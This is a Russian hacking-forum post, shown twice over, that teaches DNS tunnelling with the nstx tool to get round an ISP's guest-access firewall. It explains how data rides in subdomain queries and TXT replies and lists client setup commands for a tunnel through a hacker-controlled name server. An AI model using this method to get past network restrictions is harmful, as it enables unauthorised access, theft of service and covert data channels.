dum_forever
05.07.2010, 22:53
DNS-туннелирование
[ Хакерство в Интернете ]
Он же DNS-туннелинг. Вещь эта достаточно интересная и познавательная. Кроме того, можно извлечь из нее и некоторую пользу и испытать чувство удовлетворения от того, что, например, гостевой вход провайдера превратился для тебя в "полноценный" интернет. Но по порядку...
Туннелирование - коротко говоря, инкапсуляция данных одного протокола в данные другого. Берем любые два протокола и вместо того, чтобы передавать с помощь первого специфичные для него данные передаем информацию другого - его заголовок + полезная нагрузка. Видов туннелирования множество - от естественных и широко используемых (VPN) до извращенных (icmp-tunneling, тот же dns-tunneling). Особо останавливаться на туннелировании вообще не буду, а лишь приведу в конце статьи ссылки, к которым можно обратиться для получения дополнительной информации.
К сожалению, у вас не будет возможности реализовать dns-tunneling (далее dnst) самому, так как он уже реализован, как говориться, "все уже украдено до нас". Вообще же информации о dnst в интернете очень мало - набрав в поисковике "dns tunneling" в конце концов натыкаемся на статью на slashdot'е [1], датированную сентябрем 2000-го. Авторы коротко описывают, чего им удалось добиться, и дают ссылку на реализацию своей идеи [2]. Именно этой реализацией мы и будем пользоваться. Но сначала все же объясню где именно и как можно использовать dnst.
Принцип.
Итак, мы находимся в локальной сети, и между ней и Интернетом находится firewall, намеренно не допускающий передачу пакетов с нашего хоста до Интернета. Позволяется только локальный траффик или траффик до определенных машин в глобальной сети. Типичный пример - гостевой (тестовый) доступ провайдера. При различных раскладах уязвимостей у такого доступа может быть множество: неправильно настроенная фильтрация tcp-пакетов, отсутствие udp-фильтрации, icmp-фильтрации, свободный и плохо контролируемый со стороны провайдера доступ к предоставляемым сервисам (irc, mail). Во всех этих случаях эти уязвимости можно использовать для все того же туннелирования. Если администратор провайдера оказался грамотным (повсеместно наблюдаемая сегодня ситуация), контролирует все сервисы, фильтрует незаконный трафик и выделил нам локальный ip-адрес (10.*.*.*, 172.(16-31).*.*, 192.168.*.*), даже тогда можно сказать почти наверняка, что о возможности dnst с гостевого доступа он не подумал или не позаботился.
При установке ppp-сессии и входе в сеть регистрируеся один или более DNS-серверов. Как правило, они получаются автоматически (по DHCP), либо их приходится прописывать ручками. В дальнейшем клиент резольвит имена Интернета с помощью первого DNS-сервера (первичный), при ошибках обращаясь к остальным (вторичные). Общение клиента с сервером происходит с помощью DNS-сообщений, передаваемых по UDP (редко по TCP). Вот с помощью этих сообщений и осуществляется туннелирование в нашем случае.
Идея такова: имеем хост A, находящийся в локальной сети, которому доступен DNS-сервер B, в сети Интернет находиться контролируемые хакером DNS (отвечающий за определенную зону zone.com сервер C) и еще одна машина D, представляющая собой фальшивый сервер имен. Хост A инкапсулирует информацию в DNS-сообщение, передавая его серверу B. Это сообщение является запросом c именем домена вида "Tk3qo2_Ttnt.tun.zone.com". Здесь полезная нагрузка - это "Tk3qo2_Ttnt". Провайдерский сервер B итеративно (реже рекурсивно) обрабатывает запрос, пытаясь найти ответственный за зону "tun.zone.com" DNS, т.е. обращаясь, в частности к серверу C, который передает адрес хоста D. D отвечает непосредственно провайдерскому DNS (при итеративных запросах). Таким образом, устанавливается туннель между хостами A и D.
Реализация.
Осталось решить, какого вида запросы и ответы будут этот туннель определять. От A до D информация передается c помощью имени поддомена, как было показано выше. Как клиент, хост A может запросить у сервера данные различного рода - передаваемый запрос содержит поле типа, чаще всего это типы A или NS - запросы на получение ip-адреса и сервера имен соответственно. Однако для цели туннелирования лучше всего подходит тип TXT - ответ будет содержать неинтерпретируемую строку ASCII символов, как правило комментарии администратора DNS-сервера, которые тот посчитал нужным добавить для информации о домене.
Таким образом, данные идут от A к D в виде имени поддомена и от D к A в виде записи TXT в возвращаемом ответе. На хостах A и D должны работать клиент и сервер соответственно, чтобы посылать и принимать DNS-сообщения, инкапсулировать и извлекать оттуда данные и поддерживать постоянной связь. Следует отметить, что эта необходимость - поддерживать связь - возникает из-за того, что сервер не может запрашивать клиента, он имеет возможность только посылать данные в ответ на запрос клиента.
Для того, что иметь полноценное соединение с удаленной машиной можно использовать эмуляцию соединения различного рода - PPP, SLIP, Ethernet. Реализация nstx использует виртуальную сетевую карту - устройство ethertap. В отличие от обыкновенного устройства, принимающего и посылающего кадры Ethernet по проводам, ethertap взаимодействует с пользовательской программой, в данном случае - с сервером nstxd и клиентом nstxcd.
Очевидно, что скорость подобного соединения будет не велика. От клиента данные идут с большой избыточностью - передаваемое DNS-сообщение содержит заголовок UDP (4 октета), собственный заголовок (12 октетов), необходимую часть имени домена (10-20 октетов), другая же часть, которая содержит данные, может быть представлена только буквами латинского алфавита, цифрами и симолами дефиса и подчеркивания - всего ровно 64 символа, представляемые 6 младшими битами в октете. Поэтому, для передачи 3 октетов (3x8 бит = 24 бита) необходимы 4 символа алфавита имени (4x6 бит = 24 бита), т.е. полезная нагрузка при декодировании дает 3/4 информации. В свою очередь, эта информация содержит заголовок протокола самой реализации nstx (4 октета), необходимый для поддержки фрагментации и уникальности запроса (для предотвращения его кеширования промежуточными DNS). Наконец, уже "чистые" данные обрамляються служебной информацией Ethernet (18 октетов), в кадры которого инкапсулируются ip-датаграммы. В итоге, для переноса вторичной датаграммы необходимы 2-3 первичные. Средняя скорость передачи данных вторичного соединения редко превысит 1 кб/с - все, впрочем, зависит от скорости первичного, а также от промежуточных DNS-узлов и серверной стороны. Однако, для проверки почты или доступа к шеллу такое соединение может оказаться все же полезным.
В действии.
Вот пример настройки соединения на клиентской стороне:
root@client# mknod /dev/tap0 c 36 16 ; создаем файл виртуального устойства, если он еще не создан
root@client# insmod netlink_dev ; добавляем необходимые для работы ethertap модули
Using /lib/modules/2.4.18/kernel/net/netlink/netlink_dev.o.gz
root@client# insmod ethertap
Using /lib/modules/2.4.18/kernel/drivers/net/ethertap.o.gz
root@client# ifconfig tap0 10.0.0.1 up ; настраиваем виртуальный интерфейс
root@client# ./nstxcd tun.zone.com 1.1.1.1 & ; 1.1.1.1 - адрес доступного DNS (хост B)
[1] 1004
root@client# ping -c 1 10.0.0.2
PING 10.0.0.2 (10.0.0.2): 56 octets data
64 octets from 10.0.0.2: icmp_seq=0 ttl=255 time=768.0 ms
На стороне сервера должен быть подобным образом запущен tap0-интерфейс, сконфигурированный, например, на ip-адрес 10.0.0.2. Также должен выполняться фальшивый сервер имен - "./nstxd tun.zone.com".
Следующий разумный шаг - настройка на удаленном хосте сетевого преобразования адресов (NAT) или же маскарадинга (masquerading), что почти одно и то же. После этого можно будет использовать прозрачный доступ в Интернет.
Ссылки.
[1] [Ссылки доступны только зарегистрированным пользователям] IP Tunneling Through Nameservers
([Ссылки доступны только зарегистрированным пользователям] - русский перевод)
[2] [Ссылки доступны только зарегистрированным пользователям] - исходный код реализации nstx
[3] [Ссылки доступны только зарегистрированным пользователям] - DNS Tunnel - through bastion hosts
[4] [Ссылки доступны только зарегистрированным пользователям] (49.6, 51.7) - loki/loki2 - реализация icmp-туннелинга.
[5] /usr/src/linux/Documentation/networking/ethertap.txt
[6] [Ссылки доступны только зарегистрированным пользователям] - Способы применения “Covert Channels”
korsar
[ Хакерство в Интернете ]
Он же DNS-туннелинг. Вещь эта достаточно интересная и познавательная. Кроме того, можно извлечь из нее и некоторую пользу и испытать чувство удовлетворения от того, что, например, гостевой вход провайдера превратился для тебя в "полноценный" интернет. Но по порядку...
Туннелирование - коротко говоря, инкапсуляция данных одного протокола в данные другого. Берем любые два протокола и вместо того, чтобы передавать с помощь первого специфичные для него данные передаем информацию другого - его заголовок + полезная нагрузка. Видов туннелирования множество - от естественных и широко используемых (VPN) до извращенных (icmp-tunneling, тот же dns-tunneling). Особо останавливаться на туннелировании вообще не буду, а лишь приведу в конце статьи ссылки, к которым можно обратиться для получения дополнительной информации.
К сожалению, у вас не будет возможности реализовать dns-tunneling (далее dnst) самому, так как он уже реализован, как говориться, "все уже украдено до нас". Вообще же информации о dnst в интернете очень мало - набрав в поисковике "dns tunneling" в конце концов натыкаемся на статью на slashdot'е [1], датированную сентябрем 2000-го. Авторы коротко описывают, чего им удалось добиться, и дают ссылку на реализацию своей идеи [2]. Именно этой реализацией мы и будем пользоваться. Но сначала все же объясню где именно и как можно использовать dnst.
Принцип.
Итак, мы находимся в локальной сети, и между ней и Интернетом находится firewall, намеренно не допускающий передачу пакетов с нашего хоста до Интернета. Позволяется только локальный траффик или траффик до определенных машин в глобальной сети. Типичный пример - гостевой (тестовый) доступ провайдера. При различных раскладах уязвимостей у такого доступа может быть множество: неправильно настроенная фильтрация tcp-пакетов, отсутствие udp-фильтрации, icmp-фильтрации, свободный и плохо контролируемый со стороны провайдера доступ к предоставляемым сервисам (irc, mail). Во всех этих случаях эти уязвимости можно использовать для все того же туннелирования. Если администратор провайдера оказался грамотным (повсеместно наблюдаемая сегодня ситуация), контролирует все сервисы, фильтрует незаконный трафик и выделил нам локальный ip-адрес (10.*.*.*, 172.(16-31).*.*, 192.168.*.*), даже тогда можно сказать почти наверняка, что о возможности dnst с гостевого доступа он не подумал или не позаботился.
При установке ppp-сессии и входе в сеть регистрируеся один или более DNS-серверов. Как правило, они получаются автоматически (по DHCP), либо их приходится прописывать ручками. В дальнейшем клиент резольвит имена Интернета с помощью первого DNS-сервера (первичный), при ошибках обращаясь к остальным (вторичные). Общение клиента с сервером происходит с помощью DNS-сообщений, передаваемых по UDP (редко по TCP). Вот с помощью этих сообщений и осуществляется туннелирование в нашем случае.
Идея такова: имеем хост A, находящийся в локальной сети, которому доступен DNS-сервер B, в сети Интернет находиться контролируемые хакером DNS (отвечающий за определенную зону zone.com сервер C) и еще одна машина D, представляющая собой фальшивый сервер имен. Хост A инкапсулирует информацию в DNS-сообщение, передавая его серверу B. Это сообщение является запросом c именем домена вида "Tk3qo2_Ttnt.tun.zone.com". Здесь полезная нагрузка - это "Tk3qo2_Ttnt". Провайдерский сервер B итеративно (реже рекурсивно) обрабатывает запрос, пытаясь найти ответственный за зону "tun.zone.com" DNS, т.е. обращаясь, в частности к серверу C, который передает адрес хоста D. D отвечает непосредственно провайдерскому DNS (при итеративных запросах). Таким образом, устанавливается туннель между хостами A и D.
Реализация.
Осталось решить, какого вида запросы и ответы будут этот туннель определять. От A до D информация передается c помощью имени поддомена, как было показано выше. Как клиент, хост A может запросить у сервера данные различного рода - передаваемый запрос содержит поле типа, чаще всего это типы A или NS - запросы на получение ip-адреса и сервера имен соответственно. Однако для цели туннелирования лучше всего подходит тип TXT - ответ будет содержать неинтерпретируемую строку ASCII символов, как правило комментарии администратора DNS-сервера, которые тот посчитал нужным добавить для информации о домене.
Таким образом, данные идут от A к D в виде имени поддомена и от D к A в виде записи TXT в возвращаемом ответе. На хостах A и D должны работать клиент и сервер соответственно, чтобы посылать и принимать DNS-сообщения, инкапсулировать и извлекать оттуда данные и поддерживать постоянной связь. Следует отметить, что эта необходимость - поддерживать связь - возникает из-за того, что сервер не может запрашивать клиента, он имеет возможность только посылать данные в ответ на запрос клиента.
Для того, что иметь полноценное соединение с удаленной машиной можно использовать эмуляцию соединения различного рода - PPP, SLIP, Ethernet. Реализация nstx использует виртуальную сетевую карту - устройство ethertap. В отличие от обыкновенного устройства, принимающего и посылающего кадры Ethernet по проводам, ethertap взаимодействует с пользовательской программой, в данном случае - с сервером nstxd и клиентом nstxcd.
Очевидно, что скорость подобного соединения будет не велика. От клиента данные идут с большой избыточностью - передаваемое DNS-сообщение содержит заголовок UDP (4 октета), собственный заголовок (12 октетов), необходимую часть имени домена (10-20 октетов), другая же часть, которая содержит данные, может быть представлена только буквами латинского алфавита, цифрами и симолами дефиса и подчеркивания - всего ровно 64 символа, представляемые 6 младшими битами в октете. Поэтому, для передачи 3 октетов (3x8 бит = 24 бита) необходимы 4 символа алфавита имени (4x6 бит = 24 бита), т.е. полезная нагрузка при декодировании дает 3/4 информации. В свою очередь, эта информация содержит заголовок протокола самой реализации nstx (4 октета), необходимый для поддержки фрагментации и уникальности запроса (для предотвращения его кеширования промежуточными DNS). Наконец, уже "чистые" данные обрамляються служебной информацией Ethernet (18 октетов), в кадры которого инкапсулируются ip-датаграммы. В итоге, для переноса вторичной датаграммы необходимы 2-3 первичные. Средняя скорость передачи данных вторичного соединения редко превысит 1 кб/с - все, впрочем, зависит от скорости первичного, а также от промежуточных DNS-узлов и серверной стороны. Однако, для проверки почты или доступа к шеллу такое соединение может оказаться все же полезным.
В действии.
Вот пример настройки соединения на клиентской стороне:
root@client# mknod /dev/tap0 c 36 16 ; создаем файл виртуального устойства, если он еще не создан
root@client# insmod netlink_dev ; добавляем необходимые для работы ethertap модули
Using /lib/modules/2.4.18/kernel/net/netlink/netlink_dev.o.gz
root@client# insmod ethertap
Using /lib/modules/2.4.18/kernel/drivers/net/ethertap.o.gz
root@client# ifconfig tap0 10.0.0.1 up ; настраиваем виртуальный интерфейс
root@client# ./nstxcd tun.zone.com 1.1.1.1 & ; 1.1.1.1 - адрес доступного DNS (хост B)
[1] 1004
root@client# ping -c 1 10.0.0.2
PING 10.0.0.2 (10.0.0.2): 56 octets data
64 octets from 10.0.0.2: icmp_seq=0 ttl=255 time=768.0 ms
На стороне сервера должен быть подобным образом запущен tap0-интерфейс, сконфигурированный, например, на ip-адрес 10.0.0.2. Также должен выполняться фальшивый сервер имен - "./nstxd tun.zone.com".
Следующий разумный шаг - настройка на удаленном хосте сетевого преобразования адресов (NAT) или же маскарадинга (masquerading), что почти одно и то же. После этого можно будет использовать прозрачный доступ в Интернет.
Ссылки.
[1] [Ссылки доступны только зарегистрированным пользователям] IP Tunneling Through Nameservers
([Ссылки доступны только зарегистрированным пользователям] - русский перевод)
[2] [Ссылки доступны только зарегистрированным пользователям] - исходный код реализации nstx
[3] [Ссылки доступны только зарегистрированным пользователям] - DNS Tunnel - through bastion hosts
[4] [Ссылки доступны только зарегистрированным пользователям] (49.6, 51.7) - loki/loki2 - реализация icmp-туннелинга.
[5] /usr/src/linux/Documentation/networking/ethertap.txt
[6] [Ссылки доступны только зарегистрированным пользователям] - Способы применения “Covert Channels”
korsar